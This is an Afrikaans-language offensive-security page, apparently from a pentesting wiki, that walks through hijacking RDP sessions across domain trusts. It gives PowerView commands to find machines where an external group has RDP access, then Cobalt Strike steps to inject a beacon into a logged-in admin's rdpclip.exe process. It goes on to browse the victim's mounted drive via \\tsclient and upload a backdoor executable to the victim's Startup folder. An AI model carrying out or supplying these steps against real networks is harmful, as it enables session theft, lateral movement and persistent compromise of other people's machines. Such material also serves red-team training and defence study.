As die eksterne groepRDP-toegang tot enige rekenaar in die huidige domein het, kan 'n aanvaller daardie rekenaar kompromitteer en op hom wag.
Sodra daardie gebruiker via RDP toegang verkry het, kan die aanvaller na daardie gebruiker se sessie pivot en sy toestemmings in die eksterne domein misbruik.
# Supposing the group "External Users" has RDP access in the current domain## lets find where they could access## The easiest way would be with bloodhound, but you could also run:Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
#orFind-DomainLocalGroupMember-GroupName "Remote Desktop Users"| select -expand ComputerName# Then, compromise the listed machines, and wait til someone from the external domain logs in:net logonsLogged on users at \\localhost:EXT\super.admin# With cobalt strike you could just inject a beacon inside of the RDP processbeacon> psPID PPID Name Arch Session User---------------------------...49601012rdpclip.exe x64 3 EXT\super.adminbeacon> inject 4960 x64 tcp-local## From that beacon you can just run powerview modules interacting with the external domain as that user
Check ander maniere om sessies te steel met ander gereedskapop hierdie bladsy.
RDPInception
As 'n gebruiker via RDP toegang tot 'n masjien kry waar 'n aanvaller op hom wag, sal die aanvaller in staat wees om 'n beacon in die RDP-sessie van die gebruiker te injekteer en as die slagoffer sy skyf gemonteer het toe hy via RDP toegang verkry, kan die aanvaller dit toegang.
In hierdie geval kan jy net die slagoffer seoorspronklike rekenaarkompromitteer deur 'n backdoor in die opstartgids te skryf.
# Wait til someone logs in:net logonsLogged on users at \\localhost:EXT\super.admin# With cobalt strike you could just inject a beacon inside of the RDP processbeacon> psPID PPID Name Arch Session User---------------------------...49601012rdpclip.exe x64 3 EXT\super.adminbeacon> inject 4960 x64 tcp-local# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.## \\tsclient\c is the C: drive on the origin machine of the RDP sessionbeacon> ls \\tsclient\cSize Type Last Modified Name-------------------------dir 02/10/202104:11:30 $Recycle.Bindir 02/10/202103:23:44 Bootdir 02/20/202110:15:23 Config.Msidir 10/18/201601:59:39 Documents and Settings[...]# Upload backdoor to startup folderbeacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startupbeacon> upload C:\Payloads\pivot.exe